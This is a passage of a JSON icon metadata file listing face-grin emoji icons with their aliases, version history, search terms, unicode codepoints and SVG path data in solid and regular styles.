        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM133.5 146.7l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM133.5 146.7l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zm-216-161.7l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zm-216-161.7l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-squint-tears": {
    "aliases": {
      "names": ["grin-squint-tears"],
      "unicodes": {
        "composite": ["1f923"],
        "secondary": ["10f586"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "face",
        "floor",
        "happy",
        "laugh",
        "rolling",
        "rolling on the floor laughing",
        "smile"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f586",
    "label": "Face Grin Squint Tears",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M426.8 14.2C446-5 477.5-4.6 497.1 14.9s20 51 .7 70.3c-6.8 6.8-21.4 12.4-37.4 16.7c-16.3 4.4-34.1 7.5-46.3 9.3c-1.6 .2-3.1 .5-4.6 .6c-4.9 .8-9.1-2.8-9.5-7.4c-.1-.7 0-1.4 .1-2.1c1.6-11.2 4.6-29.6 9-47c.3-1.3 .7-2.6 1-3.9c4.3-15.9 9.8-30.5 16.7-37.4zm-44.7 19c-1.5 4.8-2.9 9.6-4.1 14.3c-4.8 18.9-8 38.5-9.7 50.3c-4 26.8 18.9 49.7 45.7 45.8c11.9-1.6 31.5-4.8 50.4-9.7c4.7-1.2 9.5-2.5 14.3-4.1C534.2 227.5 520.2 353.8 437 437c-83.2 83.2-209.5 97.2-307.2 41.8c1.5-4.8 2.8-9.6 4-14.3c4.8-18.9 8-38.5 9.7-50.3c4-26.8-18.9-49.7-45.7-45.8c-11.9 1.6-31.5 4.8-50.4 9.7c-4.7 1.2-9.5 2.5-14.3 4.1C-22.2 284.5-8.2 158.2 75 75C158.2-8.3 284.5-22.2 382.2 33.2zM51.5 410.1c18.5-5 38.8-8.3 50.9-10c.4-.1 .7-.1 1-.1c5.1-.2 9.2 4.3 8.4 9.6c-1.7 12.1-5 32.4-10 50.9C97.6 476.4 92 491 85.2 497.8C66 517 34.5 516.6 14.9 497.1s-20-51-.7-70.3c6.8-6.8 21.4-12.4 37.4-16.7zM416.9 209c-4.7-11.9-20.8-11-26.8 .3c-19 35.5-45 70.8-77.5 103.3S244.8 371.1 209.3 390c-11.3 6-12.2 22.1-.3 26.8c57.6 22.9 125.8 11 172.3-35.5s58.4-114.8 35.5-172.3zM87.1 285.1c2 2 4.6 3.2 7.3 3.4l56.1 5.1 5.1 56.1c.3 2.8 1.5 5.4 3.4 7.3c6.3 6.3 17.2 3.6 19.8-4.9l29.7-97.4c3.5-11.6-7.3-22.5-19-19L92 265.3c-8.6 2.6-11.3 13.4-4.9 19.8zM265.3 92l-29.7 97.4c-3.5 11.6 7.3 22.5 19 19l97.4-29.7c8.6-2.6 11.3-13.4 4.9-19.8c-2-2-4.6-3.2-7.3-3.4l-56.1-5.1-5.1-56.1c-.3-2.8-1.5-5.4-3.4-7.3c-6.3-6.3-17.2-3.6-19.8 4.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M426.8 14.2C446-5 477.5-4.6 497.1 14.9s20 51 .7 70.3c-6.8 6.8-21.4 12.4-37.4 16.7c-16.3 4.4-34.1 7.5-46.3 9.3c-1.6 .2-3.1 .5-4.6 .6c-4.9 .8-9.1-2.8-9.5-7.4c-.1-.7 0-1.4 .1-2.1c1.6-11.2 4.6-29.6 9-47c.3-1.3 .7-2.6 1-3.9c4.3-15.9 9.8-30.5 16.7-37.4zm-44.7 19c-1.5 4.8-2.9 9.6-4.1 14.3c-4.8 18.9-8 38.5-9.7 50.3c-4 26.8 18.9 49.7 45.7 45.8c11.9-1.6 31.5-4.8 50.4-9.7c4.7-1.2 9.5-2.5 14.3-4.1C534.2 227.5 520.2 353.8 437 437c-83.2 83.2-209.5 97.2-307.2 41.8c1.5-4.8 2.8-9.6 4-14.3c4.8-18.9 8-38.5 9.7-50.3c4-26.8-18.9-49.7-45.7-45.8c-11.9 1.6-31.5 4.8-50.4 9.7c-4.7 1.2-9.5 2.5-14.3 4.1C-22.2 284.5-8.2 158.2 75 75C158.2-8.3 284.5-22.2 382.2 33.2zM51.5 410.1c18.5-5 38.8-8.3 50.9-10c.4-.1 .7-.1 1-.1c5.1-.2 9.2 4.3 8.4 9.6c-1.7 12.1-5 32.4-10 50.9C97.6 476.4 92 491 85.2 497.8C66 517 34.5 516.6 14.9 497.1s-20-51-.7-70.3c6.8-6.8 21.4-12.4 37.4-16.7zM416.9 209c-4.7-11.9-20.8-11-26.8 .3c-19 35.5-45 70.8-77.5 103.3S244.8 371.1 209.3 390c-11.3 6-12.2 22.1-.3 26.8c57.6 22.9 125.8 11 172.3-35.5s58.4-114.8 35.5-172.3zM87.1 285.1c2 2 4.6 3.2 7.3 3.4l56.1 5.1 5.1 56.1c.3 2.8 1.5 5.4 3.4 7.3c6.3 6.3 17.2 3.6 19.8-4.9l29.7-97.4c3.5-11.6-7.3-22.5-19-19L92 265.3c-8.6 2.6-11.3 13.4-4.9 19.8zM265.3 92l-29.7 97.4c-3.5 11.6 7.3 22.5 19 19l97.4-29.7c8.6-2.6 11.3-13.4 4.9-19.8c-2-2-4.6-3.2-7.3-3.4l-56.1-5.1-5.1-56.1c-.3-2.8-1.5-5.4-3.4-7.3c-6.3-6.3-17.2-3.6-19.8 4.9z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M426.8 14.2C446-5 477.5-4.6 497.1 14.9s20 51 .7 70.3c-14.8 14.8-65.7 23.6-88.3 26.7c-5.6 .9-10.3-3.9-9.5-9.5C403.3 79.9 412 29 426.8 14.2zM75 75C158.2-8.3 284.5-22.2 382.2 33.2c-1.5 4.8-2.9 9.6-4.1 14.3c-3.1 12.2-5.5 24.6-7.3 35c-80.8-53.6-190.7-44.8-261.9 26.4C37.7 180.1 28.9 290 82.5 370.8c-10.5 1.8-22.9 4.2-35 7.3c-4.7 1.2-9.5 2.5-14.3 4.1C-22.2 284.5-8.2 158.2 75 75zm389.6 58.9c4.7-1.2 9.5-2.5 14.3-4.1C534.2 227.5 520.2 353.8 437 437c-83.2 83.2-209.5 97.2-307.2 41.8c1.5-4.8 2.8-9.6 4-14.3c3.1-12.2 5.5-24.6 7.3-35c80.8 53.6 190.7 44.8 261.9-26.4c71.2-71.2 80-181.1 26.4-261.9c10.5-1.8 22.9-4.2 35-7.3zm-105.4 93c10.1-16.3 33.9-16.9 37.9 1.9c9.5 44.4-3.7 93.5-39.3 129.1s-84.8 48.8-129.1 39.3c-18.7-4-18.2-27.8-1.9-37.9c25.2-15.7 50.2-35.4 73.6-58.8s43.1-48.4 58.8-73.6zM92 265.3l97.4-29.7c11.6-3.5 22.5 7.3 19 19l-29.7 97.4c-2.6 8.6-13.4 11.3-19.8 4.9c-2-2-3.2-4.6-3.4-7.3l-5.1-56.1-56.1-5.1c-2.8-.3-5.4-1.5-7.3-3.4c-6.3-6.3-3.6-17.2 4.9-19.8zm193-178.2c2 2 3.2 4.6 3.4 7.3l5.1 56.1 56.1 5.1c2.8 .3 5.4 1.5 7.3 3.4c6.3 6.3 3.6 17.2-4.9 19.8l-97.4 29.7c-11.6 3.5-22.5-7.3-19-19L265.3 92c2.6-8.6 13.4-11.3 19.8-4.9zM14.9 497.1c-19.6-19.6-20-51-.7-70.3C29 412 79.8 403.2 102.4 400.1c5.6-.9 10.3 3.9 9.5 9.5c-3.2 22.5-11.9 73.5-26.7 88.3C66 517 34.5 516.6 14.9 497.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M426.8 14.2C446-5 477.5-4.6 497.1 14.9s20 51 .7 70.3c-14.8 14.8-65.7 23.6-88.3 26.7c-5.6 .9-10.3-3.9-9.5-9.5C403.3 79.9 412 29 426.8 14.2zM75 75C158.2-8.3 284.5-22.2 382.2 33.2c-1.5 4.8-2.9 9.6-4.1 14.3c-3.1 12.2-5.5 24.6-7.3 35c-80.8-53.6-190.7-44.8-261.9 26.4C37.7 180.1 28.9 290 82.5 370.8c-10.5 1.8-22.9 4.2-35 7.3c-4.7 1.2-9.5 2.5-14.3 4.1C-22.2 284.5-8.2 158.2 75 75zm389.6 58.9c4.7-1.2 9.5-2.5 14.3-4.1C534.2 227.5 520.2 353.8 437 437c-83.2 83.2-209.5 97.2-307.2 41.8c1.5-4.8 2.8-9.6 4-14.3c3.1-12.2 5.5-24.6 7.3-35c80.8 53.6 190.7 44.8 261.9-26.4c71.2-71.2 80-181.1 26.4-261.9c10.5-1.8 22.9-4.2 35-7.3zm-105.4 93c10.1-16.3 33.9-16.9 37.9 1.9c9.5 44.4-3.7 93.5-39.3 129.1s-84.8 48.8-129.1 39.3c-18.7-4-18.2-27.8-1.9-37.9c25.2-15.7 50.2-35.4 73.6-58.8s43.1-48.4 58.8-73.6zM92 265.3l97.4-29.7c11.6-3.5 22.5 7.3 19 19l-29.7 97.4c-2.6 8.6-13.4 11.3-19.8 4.9c-2-2-3.2-4.6-3.4-7.3l-5.1-56.1-56.1-5.1c-2.8-.3-5.4-1.5-7.3-3.4c-6.3-6.3-3.6-17.2 4.9-19.8zm193-178.2c2 2 3.2 4.6 3.4 7.3l5.1 56.1 56.1 5.1c2.8 .3 5.4 1.5 7.3 3.4c6.3 6.3 3.6 17.2-4.9 19.8l-97.4 29.7c-11.6 3.5-22.5-7.3-19-19L265.3 92c2.6-8.6 13.4-11.3 19.8-4.9zM14.9 497.1c-19.6-19.6-20-51-.7-70.3C29 412 79.8 403.2 102.4 400.1c5.6-.9 10.3 3.9 9.5 9.5c-3.2 22.5-11.9 73.5-26.7 88.3C66 517 34.5 516.6 14.9 497.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-stars": {
    "aliases": {
      "names": ["grin-stars"],
      "unicodes": {
        "composite": ["1f929"],
        "secondary": ["10f587"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "eyes",
        "face",
        "grinning",
        "star",
        "star-struck",
        "starry-eyed"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f587",
    "label": "Face Grin Stars",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm407.4 75.5c5-11.8-7-22.5-19.3-18.7c-39.7 12.2-84.5 19-131.8 19s-92.1-6.8-131.8-19c-12.3-3.8-24.3 6.9-19.3 18.7c25 59.1 83.2 100.5 151.1 100.5s126.2-41.4 151.1-100.5zM160 120c-3.1 0-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L160 232.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L226.4 178c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7c-1.3-2.8-4.1-4.6-7.2-4.6zm192 0c-3.1 0-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L352 232.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L418.4 178c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7c-1.3-2.8-4.1-4.6-7.2-4.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm407.4 75.5c5-11.8-7-22.5-19.3-18.7c-39.7 12.2-84.5 19-131.8 19s-92.1-6.8-131.8-19c-12.3-3.8-24.3 6.9-19.3 18.7c25 59.1 83.2 100.5 151.1 100.5s126.2-41.4 151.1-100.5zM160 120c-3.1 0-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L160 232.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L226.4 178c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7c-1.3-2.8-4.1-4.6-7.2-4.6zm192 0c-3.1 0-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L352 232.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L418.4 178c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7c-1.3-2.8-4.1-4.6-7.2-4.6z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM183.2 132.6c-1.3-2.8-4.1-4.6-7.2-4.6s-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L176 240.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L242.4 186c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7zm160 0c-1.3-2.8-4.1-4.6-7.2-4.6s-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L336 240.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L402.4 186c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7zm6.3 175.8c-28.9 6.8-60.5 10.5-93.6 10.5s-64.7-3.7-93.6-10.5c-18.7-4.4-35.9 12-25.5 28.1c24.6 38.1 68.7 63.5 119.1 63.5s94.5-25.4 119.1-63.5c10.4-16.1-6.8-32.5-25.5-28.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM183.2 132.6c-1.3-2.8-4.1-4.6-7.2-4.6s-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L176 240.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L242.4 186c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7zm160 0c-1.3-2.8-4.1-4.6-7.2-4.6s-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L336 240.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L402.4 186c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7zm6.3 175.8c-28.9 6.8-60.5 10.5-93.6 10.5s-64.7-3.7-93.6-10.5c-18.7-4.4-35.9 12-25.5 28.1c24.6 38.1 68.7 63.5 119.1 63.5s94.5-25.4 119.1-63.5c10.4-16.1-6.8-32.5-25.5-28.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-tears": {
    "aliases": {
      "names": ["grin-tears"],
      "unicodes": {
        "composite": ["1f602"],
        "secondary": ["10f588"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "LOL",
        "emoticon",
        "face",
        "face with tears of joy",
        "joy",
        "laugh",
        "tear"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f588",
    "label": "Face Grin Tears",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M548.6 371.4C506.4 454.8 419.9 512 320 512s-186.4-57.2-228.6-140.6c4.5-2.9 8.7-6.3 12.7-10.3c8.1-8.1 13.2-18.6 16.5-26.6c3.6-8.8 6.5-18.4 8.8-27.5c4.6-18.2 7.7-37 9.3-48.2c3.9-26.5-18.8-49.2-45.2-45.4c-6.8 .9-16.2 2.4-26.6 4.4C85.3 94.5 191.6 0 320 0S554.7 94.5 573.2 217.7c-10.3-2-19.8-3.5-26.6-4.4c-26.5-3.9-49.2 18.8-45.2 45.4c1.6 11.3 4.6 30 9.3 48.2c2.3 9.1 5.2 18.8 8.8 27.5c3.3 8.1 8.4 18.5 16.5 26.6c3.9 3.9 8.2 7.4 12.7 10.3zM107 254.1c-3.1 21.5-11.4 70.2-25.5 84.4c-.9 1-1.9 1.8-2.9 2.7C60 356.7 32 355.5 14.3 337.7c-18.7-18.7-19.1-48.8-.7-67.2c8.6-8.6 30.1-15.1 50.5-19.6c13-2.8 25.5-4.8 33.9-6c5.4-.8 9.9 3.7 9 9zm454.5 87.1c-.8-.6-1.5-1.3-2.3-2c-.2-.2-.5-.4-.7-.7c-14.1-14.1-22.5-62.9-25.5-84.4c-.8-5.4 3.7-9.9 9-9c1 .1 2.2 .3 3.3 .5c8.2 1.2 19.2 3 30.6 5.5c20.4 4.4 41.9 10.9 50.5 19.6c18.4 18.4 18 48.5-.7 67.2c-17.7 17.7-45.7 19-64.2 3.4zm-90.1-9.7c5-11.8-7-22.5-19.3-18.7c-39.7 12.2-84.4 19-131.8 19s-92.1-6.8-131.8-19c-12.3-3.8-24.3 6.9-19.3 18.7c25 59.1 83.2 100.5 151.1 100.5s126.2-41.4 151.1-100.5zM281.6 228.8l0 0 0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C190.7 188.4 184 206.1 184 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0zm160 0l0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C350.7 188.4 344 206.1 344 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M548.6 371.4C506.4 454.8 419.9 512 320 512s-186.4-57.2-228.6-140.6c4.5-2.9 8.7-6.3 12.7-10.3c8.1-8.1 13.2-18.6 16.5-26.6c3.6-8.8 6.5-18.4 8.8-27.5c4.6-18.2 7.7-37 9.3-48.2c3.9-26.5-18.8-49.2-45.2-45.4c-6.8 .9-16.2 2.4-26.6 4.4C85.3 94.5 191.6 0 320 0S554.7 94.5 573.2 217.7c-10.3-2-19.8-3.5-26.6-4.4c-26.5-3.9-49.2 18.8-45.2 45.4c1.6 11.3 4.6 30 9.3 48.2c2.3 9.1 5.2 18.8 8.8 27.5c3.3 8.1 8.4 18.5 16.5 26.6c3.9 3.9 8.2 7.4 12.7 10.3zM107 254.1c-3.1 21.5-11.4 70.2-25.5 84.4c-.9 1-1.9 1.8-2.9 2.7C60 356.7 32 355.5 14.3 337.7c-18.7-18.7-19.1-48.8-.7-67.2c8.6-8.6 30.1-15.1 50.5-19.6c13-2.8 25.5-4.8 33.9-6c5.4-.8 9.9 3.7 9 9zm454.5 87.1c-.8-.6-1.5-1.3-2.3-2c-.2-.2-.5-.4-.7-.7c-14.1-14.1-22.5-62.9-25.5-84.4c-.8-5.4 3.7-9.9 9-9c1 .1 2.2 .3 3.3 .5c8.2 1.2 19.2 3 30.6 5.5c20.4 4.4 41.9 10.9 50.5 19.6c18.4 18.4 18 48.5-.7 67.2c-17.7 17.7-45.7 19-64.2 3.4zm-90.1-9.7c5-11.8-7-22.5-19.3-18.7c-39.7 12.2-84.4 19-131.8 19s-92.1-6.8-131.8-19c-12.3-3.8-24.3 6.9-19.3 18.7c25 59.1 83.2 100.5 151.1 100.5s126.2-41.4 151.1-100.5zM281.6 228.8l0 0 0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C190.7 188.4 184 206.1 184 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0zm160 0l0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C350.7 188.4 344 206.1 344 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0 0 0z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M516.1 325.5c1 3 2.1 6 3.3 8.9c3.3 8.1 8.4 18.5 16.5 26.6c3.9 3.9 8.2 7.4 12.7 10.3C506.4 454.8 419.9 512 320 512s-186.4-57.2-228.6-140.6c4.5-2.9 8.7-6.3 12.7-10.3c8.1-8.1 13.2-18.6 16.5-26.6c1.2-2.9 2.3-5.9 3.3-8.9C152.5 406.2 229.5 464 320 464s167.5-57.8 196.1-138.5zM320 48c-101.4 0-185.8 72.5-204.3 168.5c-6.7-3.1-14.3-4.3-22.3-3.1c-6.8 .9-16.2 2.4-26.6 4.4C85.3 94.5 191.6 0 320 0S554.7 94.5 573.2 217.7c-10.3-2-19.8-3.5-26.6-4.4c-8-1.2-15.7 .1-22.3 3.1C505.8 120.5 421.4 48 320 48zM78.5 341.1C60 356.7 32 355.5 14.3 337.7c-18.7-18.7-19.1-48.8-.7-67.2c8.6-8.6 30.1-15.1 50.5-19.6c13-2.8 25.5-4.8 33.9-6c5.4-.8 9.9 3.7 9 9c-3.1 21.5-11.4 70.2-25.5 84.4c-.9 1-1.9 1.8-2.9 2.7zm483 0c-.8-.6-1.5-1.3-2.3-2c-.2-.2-.5-.4-.7-.7c-14.1-14.1-22.5-62.9-25.5-84.4c-.8-5.4 3.7-9.9 9-9c1 .1 2.2 .3 3.3 .5c8.2 1.2 19.2 3 30.6 5.5c20.4 